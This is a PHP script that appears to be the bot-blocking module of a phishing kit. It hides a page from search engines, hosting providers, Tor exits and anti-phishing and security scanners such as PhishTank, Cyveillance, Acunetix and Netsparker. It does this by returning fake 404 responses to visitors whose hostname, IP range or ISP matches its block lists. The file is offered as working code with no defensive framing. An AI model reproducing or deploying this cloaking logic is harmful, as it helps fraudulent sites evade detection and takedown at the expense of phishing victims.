<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

if (!isset($isp)) $isp = 'Unknown';
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

// Define blocked words array
$blocked_words = array(
    "bot", "above", "google", "softlayer", "amazonaws", "cyveillance",
    "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",
    "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver",
    "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker",
    // Add more blocked words as needed...
);

// Define banned IP array
$bannedIP = array(
    "^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", 
    "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",
    "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*",
    // Add more banned IPs as needed...
);

// Define banned ISP array
$banned_isp = array(
    'Peak 10', 'Quasi Networks LTD', 'SC Rusnano', 'GoDaddy.com, LLC',
    'Server Plan S.r.l.', 'Linode', 'Blazing SEO', 'Lixux OU',
    'Inter Connects Inc', 'Flokinet Ltd', 'LukMAN Multimedia Sp. z o.o',
    // Add more banned ISPs as needed...
);

// Check for banned words
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
        header('HTTP/1.0 404 Not Found');
        exit();
    }  
}

// Check for banned IPs
if(in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) {
    header('HTTP/1.0 404 Not Found');
    exit();
} else {
    foreach($bannedIP as $ip) {
        if(preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])){
            header('HTTP/1.0 404 Not Found');
            exit();
        }
    }
}

// Check for banned ISPs
if(in_array($isp, $banned_isp)) {
    header('HTTP/1.0 404 Not Found');
    exit();
} else {
    foreach($banned_isp as $banip) {
        if(preg_match('/' . $banip . '/', $isp)){
            header('HTTP/1.0 404 Not Found');
            exit();
        }
    }
}
?>